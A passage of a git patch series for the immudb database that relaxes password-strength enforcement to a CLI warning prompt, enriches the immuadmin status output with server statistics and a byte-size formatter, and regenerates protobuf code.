Password") } } - if resp, _, err = cl.changeUserPassword(username, oldpass); err == nil { - fmt.Fprint(cmd.OutOrStdout(), resp) + if resp, _, err = cl.changeUserPassword(cmd, username, oldpass); err == nil { + fmt.Fprintln(cmd.OutOrStdout(), resp) } return err }, @@ -135,14 +137,16 @@ immuadmin user create user1 admin mydb`, cmd.AddCommand(ccmd) } -func (cl *commandline) changeUserPassword(username string, oldpassword []byte) (string, []byte, error) { +func (cl *commandline) changeUserPassword(cmd *cobra.Command, username string, oldpassword []byte) (string, []byte, error) { newpass, err := cl.passwordReader.Read(fmt.Sprintf("Choose a password for %s:", username)) if err != nil { return "", nil, errors.New("Error Reading Password") } - if err = auth.IsStrongPassword(string(newpass)); err != nil { - return "", nil, errors.New("password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol") + + if err := cl.checkPassword(cmd, string(newpass)); err != nil { + return "", nil, err } + pass2, err := cl.passwordReader.Read("Confirm password:") if err != nil { return "", nil, errors.New("Error Reading Password") @@ -156,6 +160,24 @@ func (cl *commandline) changeUserPassword(username string, oldpassword []byte) ( return fmt.Sprintf("%s's password has been changed", username), newpass, nil } +func (cl *commandline) checkPassword(cmd *cobra.Command, newpass string) error { + if err := auth.IsStrongPassword(string(newpass)); err == nil { + return nil + } + + c.PrintfColorW(cmd.OutOrStdout(), c.Yellow, "%s.\nDo you want to continue with your password instead? [Y/n]\n", unsecurePasswordMsg) + + selected, err := cl.terminalReader.ReadFromTerminalYN("n") + if err != nil { + return err + } + + if selected != "y" { + return errors.New("unable to change password") + } + return nil +} + func (cl *commandline) userList(args []string) (string, error) { userlist, err := cl.immuClient.ListUsers(cl.context) if err != nil { @@ -231,7 +253,7 @@ func permissionToString(permission uint32) string { } } -func (cl *commandline) userCreate(args []string) (string, error) { +func (cl *commandline) userCreate(cmd *cobra.Command, args []string) (string, error) { username := args[0] permissionStr := args[1] var databasename string @@ -265,8 +287,9 @@ func (cl *commandline) userCreate(args []string) (string, error) { if err != nil { return "", fmt.Errorf("Error Reading Password") } - if err = auth.IsStrongPassword(string(pass)); err != nil { - return "", fmt.Errorf("Password does not meet the requirements. It must contain upper and lower case letters, digits, punctuation mark or symbol") + + if err := cl.checkPassword(cmd, string(pass)); err != nil { + return "", err } pass2, err := cl.passwordReader.Read("Confirm password:") if err != nil { diff --git a/pkg/server/server.go b/pkg/server/server.go index 0376c72ad2..68c59b473c 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -491,7 +491,7 @@ func (s *ImmuServer) loadSystemDatabase( if !s.sysDB.IsReplica() { s.sysDB.SetSyncReplication(false) - adminUsername, _, err := s.insertNewUser(context.Background(), []byte(auth.SysAdminUsername), []byte(adminPassword), auth.PermissionSysAdmin, "*", false, "") + adminUsername, _, err := s.insertNewUser(context.Background(), []byte(auth.SysAdminUsername), []byte(adminPassword), auth.PermissionSysAdmin, "*", "") if err != nil { return logErr(s.Logger, "%v", err) } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 7b1c0fd0ec..6cde3d9bca 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -1385,17 +1385,15 @@ func TestServerErrors(t *testing.T) { adminCtx = metadata.NewIncomingContext(context.Background(), md) // insertNewUser errors - _, _, err = s.insertNewUser(context.Background(), []byte("%"), nil, 1, DefaultDBName, true, auth.SysAdminUsername) + _, _, err = s.insertNewUser(context.Background(), []byte("%"), nil, 1, DefaultDBName, auth.SysAdminUsername) require.ErrorContains(t, err, "username can only contain letters, digits and underscores") username := "someusername" usernameBytes := []byte(username) password := "$omePassword1" passwordBytes := []byte(password) - _, _, err = s.insertNewUser(context.Background(), usernameBytes, []byte("a"), 1, DefaultDBName, true, auth.SysAdminUsername) - require.ErrorContains(t, err, auth.PasswordRequirementsMsg) - _, _, err = s.insertNewUser(context.Background(), usernameBytes, passwordBytes, 99, DefaultDBName, false, auth.SysAdminUsername) + _, _, err = s.insertNewUser(context.Background(), usernameBytes, passwordBytes, 99, DefaultDBName, auth.SysAdminUsername) require.ErrorContains(t, err, "unknown permission") // getLoggedInUserDataFromUsername errors diff --git a/pkg/server/user.go b/pkg/server/user.go index 26e3f39c84..a1f111e42c 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -151,7 +151,7 @@ func (s *ImmuServer) CreateUser(ctx context.Context, r *schema.CreateUserRequest return nil, fmt.Errorf("user already exists") } - _, _, err = s.insertNewUser(ctx, r.User, r.Password, r.GetPermission(), r.Database, true, loggedInuser.Username) + _, _, err = s.insertNewUser(ctx, r.User, r.Password, r.GetPermission(), r.Database, loggedInuser.Username) if err != nil { return nil, err } @@ -519,19 +519,11 @@ func (s *ImmuServer) SetActiveUser(ctx context.Context, r *schema.SetActiveUserR // insertNewUser inserts a new user to the system database and returns username and plain text password // A new password is generated automatically if passed parameter is empty // If enforceStrongAuth is true it checks if username and password meet security criteria -func (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPassword []byte, permission uint32, database string, enforceStrongAuth bool, createdBy string) ([]byte, []byte, error) { - if enforceStrongAuth { - if !auth.IsValidUsername(string(username)) { - return nil, nil, status.Errorf( - codes.InvalidArgument, - "username can only contain letters, digits and underscores") - } - } - - if enforceStrongAuth { - if err := auth.IsStrongPassword(string(plainPassword)); err != nil { - return nil, nil, status.Errorf(codes.InvalidArgument, "%v", err) - } +func (s *ImmuServer) insertNewUser(ctx context.Context, username []byte, plainPassword []byte, permission uint32, database string, createdBy string) ([]byte, []byte, error) { + if !auth.IsValidUsername(string(username)) { + return nil, nil, status.Errorf( + codes.InvalidArgument, + "username can only contain letters, digits and underscores") } userdata := new(auth.User) From e472617b7225afd1e4e3c49243f2ae7687ae2adb Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 19 Apr 2024 14:25:45 +0200 Subject: [PATCH 1005/1062] enrich output of immuadmin status command Signed-off-by: Stefano Scafiti --- cmd/helper/size.go | 55 + cmd/helper/size_test.go | 23 + cmd/immuadmin/command/stats.go | 21 +- cmd/immuadmin/command/stats_test.go | 4 + embedded/store/immustore.go | 21 + pkg/api/protomodel/authorization.pb.go | 2 +- pkg/api/protomodel/documents.pb.go | 642 +++--- pkg/api/schema/schema.pb.go | 2542 ++++++++++++------------ pkg/api/schema/schema.proto | 12 + pkg/database/database.go | 8 +- pkg/database/database_test.go | 2 +- pkg/server/db_dummy_closed.go | 4 + pkg/server/db_dummy_closed_test.go | 2 +- pkg/server/server.go | 60 +- pkg/server/server_test.go | 17 +- 15 files changed, 1832 insertions(+), 1583 deletions(-) create mode 100644 cmd/helper/size.go create mode 100644 cmd/helper/size_test.go diff --git a/cmd/helper/size.go b/cmd/helper/size.go new file mode 100644 index 0000000000..1be783bd50 --- /dev/null +++ b/cmd/helper/size.go @@ -0,0 +1,55 @@ +package helper + +import ( + "strconv" + "strings" +) + +const ( + Byte = 1 + KiloByte = 1 << (10 * iota) + MegaByte + GigaByte + TeraByte + PetaByte + ExaByte +) + +var unitMap = map[int]string{ + Byte: "B", + KiloByte: "KB", + MegaByte: "MB", + GigaByte: "GB", + TeraByte: "TB", + PetaByte: "PB", + ExaByte: "EB", +} + +func FormatByteSize(size uint64) string { + u := getUnit(size) + + fsize := float64(size) / float64(u) + if rounded := uint64(fsize + 0.05); rounded == 1024 { + u = getUnit(1024 * uint64(u)) + fsize = 1 + } + return strings.TrimSuffix(strconv.FormatFloat(fsize, 'f', 1, 64), ".0") + " " + unitMap[u] +} + +func getUnit(size uint64) int { + switch { + case size >= ExaByte: + return ExaByte + case size >= PetaByte: + return PetaByte + case size >= TeraByte: + return TeraByte + case size >= GigaByte: + return GigaByte + case size >= MegaByte: + return MegaByte + case size >= KiloByte: + return KiloByte + } + return Byte +} diff --git a/cmd/helper/size_test.go b/cmd/helper/size_test.go new file mode 100644 index 0000000000..99866a6158 --- /dev/null +++ b/cmd/helper/size_test.go @@ -0,0 +1,23 @@ +package helper_test + +import ( + "testing" + + "github.com/codenotary/immudb/cmd/helper" + "github.com/stretchr/testify/require" +) + +func TestFormatByteSize(t *testing.T) { + require.Equal(t, "25 B", helper.FormatByteSize(25)) + require.Equal(t, "10 KB", helper.FormatByteSize(size(10.0, helper.KiloByte))) + require.Equal(t, "5.4 MB", helper.FormatByteSize(size(5.4, helper.MegaByte))) + require.Equal(t, "11.8 GB", helper.FormatByteSize(size(11.8, helper.GigaByte))) + require.Equal(t, "99.3 PB", helper.FormatByteSize(size(99.27, helper.PetaByte))) + require.Equal(t, "1 EB", helper.FormatByteSize(size(1023.95, helper.PetaByte))) + require.Equal(t, "2.3 EB", helper.FormatByteSize(size(2.3, helper.ExaByte))) +} + +func size(fraction float64, unit int) uint64 { + s := fraction * float64(unit) + return uint64(s) +} diff --git a/cmd/immuadmin/command/stats.go b/cmd/immuadmin/command/stats.go index a043d11e56..fa04b6a46d 100644 --- a/cmd/immuadmin/command/stats.go +++ b/cmd/immuadmin/command/stats.go @@ -18,11 +18,13 @@ package immuadmin import ( "fmt" + "time" "github.com/spf13/cobra" c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/immuadmin/command/stats" + "github.com/codenotary/immudb/pkg/api/schema" ) func (cl *commandline) status(cmd *cobra.Command) { @@ -34,10 +36,25 @@ func (cl *commandline) status(cmd *cobra.Command) { PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { ctx := cl.context - if err := cl.immuClient.HealthCheck(ctx); err != nil { + + info, err := cl.immuClient.ServerInfo(ctx, &schema.ServerInfoRequest{}) + if err != nil { c.QuitWithUserError(err) } - fmt.Fprintf(cmd.OutOrStdout(), "OK - server is reachable and responding to queries\n") + + startedAt := time.Unix(info.StartedAt, 0) + uptime := time.Now().Truncate(time.Second).Sub(startedAt) + + fmt.Fprintf( + cmd.OutOrStdout(), + "Status:\t\tOK - server is reachable and responding to queries\nVersion:\t%s\nUp time:\t%s (up %s)\nDatabases:\t%d (%s)\nTransactions:\t%d\n", + info.Version, + startedAt.Format(time.RFC822), + uptime, + info.NumDatabases, + c.FormatByteSize(uint64(info.DatabasesDiskSize)), + info.NumTransactions, + ) return nil }, Args: cobra.NoArgs, diff --git a/cmd/immuadmin/command/stats_test.go b/cmd/immuadmin/command/stats_test.go index 147438168b..612c5c0992 100644 --- a/cmd/immuadmin/command/stats_test.go +++ b/cmd/immuadmin/command/stats_test.go @@ -77,6 +77,10 @@ func TestStats_Status(t *testing.T) { out, err := ioutil.ReadAll(b) require.NoError(t, err) assert.Contains(t, string(out), "OK - server is reachable and responding to queries") + assert.Contains(t, string(out), "Version") + assert.Contains(t, string(out), "Up time") + assert.Contains(t, string(out), "Databases") + assert.Contains(t, string(out), "Transactions") } func TestStats_StatsText(t *testing.T) { diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 57dabe4cf4..62e938cb46 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -26,6 +26,7 @@ import ( "errors" "fmt" "io" + "io/fs" "os" "path/filepath" "sync" @@ -1364,6 +1365,26 @@ func (s *ImmuStore) MaxValueLen() int { return s.maxValueLen } +func (s *ImmuStore) Size() (uint64, error) { + var size uint64 + + err := filepath.WalkDir(s.path, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + + if !d.IsDir() { + info, err := d.Info() + if err != nil { + return err + } + size += uint64(info.Size()) + } + return nil + }) + return size, err +} + func (s *ImmuStore) TxCount() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 2d9d41c8e9..f7a46b8a94 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 +// protoc-gen-go v1.32.0 // protoc v3.21.12 // source: authorization.proto diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 21dcb5d06e..37377559f3 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 +// protoc-gen-go v1.32.0 // protoc v3.21.12 // source: documents.proto @@ -2541,7 +2541,7 @@ var file_documents_proto_rawDesc = []byte{ 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xe2, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xd7, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, @@ -2552,336 +2552,334 @@ var file_documents_proto_rawDesc = []byte{ 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, - 0x70, 0x65, 0x6e, 0x3a, 0x35, 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, + 0x70, 0x65, 0x6e, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x04, - 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, - 0x01, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x05, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, - 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, - 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, - 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, - 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x36, 0x92, 0x41, 0x33, 0x0a, - 0x31, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0xd2, 0x01, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0xd2, 0x01, 0x05, 0x6c, 0x69, 0x6d, - 0x69, 0x74, 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, - 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01, 0x0a, 0x0f, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, - 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, - 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x20, 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, - 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, - 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, - 0x41, 0x11, 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, - 0x65, 0x73, 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, - 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xc2, 0x02, 0x0a, 0x12, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, - 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x0e, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x3a, - 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3d, - 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, - 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x3a, 0x0f, 0x92, 0x41, - 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x22, 0x51, 0x0a, - 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, - 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, - 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, - 0x90, 0x02, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 